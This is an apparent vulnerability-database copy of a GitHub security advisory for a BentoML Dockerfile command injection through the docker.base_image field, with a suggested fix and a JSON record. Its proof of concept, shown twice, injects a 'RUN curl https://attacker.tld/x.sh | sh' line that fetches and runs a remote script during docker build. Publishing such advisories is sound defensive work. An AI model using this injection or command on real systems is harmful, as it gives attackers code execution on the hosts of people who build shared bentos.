GHSA-78F9-R8MH-4XM2

Vulnerability from github – Published: 2026-05-11 14:27 – Updated: 2026-05-11 14:27
VLAI
Summary
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
Details

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

  • __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.build_include(*file_paths).
  • bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

  • Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
  • CWE-78: https://cwe.mitre.org/data/definitions/78.html
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.38"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:27:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28):\n\n```jinja\nFROM {{ __options__base_image }} AS base-container\n```\n\n`__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`):\n\n```python\nbase_image: t.Optional[str] = None\n```\n\nNo `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is.\n\n## PoC\n\nMalicious `bentofile.yaml`:\n\n```yaml\ndocker:\n  base_image: |\n    python:3.10\n    RUN curl https://attacker.tld/x.sh | sh\n    FROM scratch\n```\n\nMinimal reproduction of the unsafe interpolation:\n\n```python\nfrom jinja2 import Environment\nenv = Environment()\nmalicious = \u0027python:3.10\\nRUN curl https://attacker.tld/x.sh | sh\\nFROM scratch\u0027\nout = env.from_string(\u0027FROM {{ __options__base_image }} AS base-container\u0027).render(__options__base_image=malicious)\nprint(out)\n```\n\nOutput:\n\n```\nFROM python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch AS base-container\n```\n\nThree valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error.\n\n## Impact\n\nIdentical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim\u0027s host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment.\n\n## Suggested fix\n\nValidate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\\n`, `\\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format.\n\nThe same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`:\n\n* `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) \u2014 same newline-injection class for path entries from `Image.build_include(*file_paths)`.\n* `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` \u2014 currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`.\n\n## References\n\n* Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.\n* CWE-78: https://cwe.mitre.org/data/definitions/78.html",
  "id": "GHSA-78f9-r8mh-4xm2",
  "modified": "2026-05-11T14:27:06Z",
  "published": "2026-05-11T14:27:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…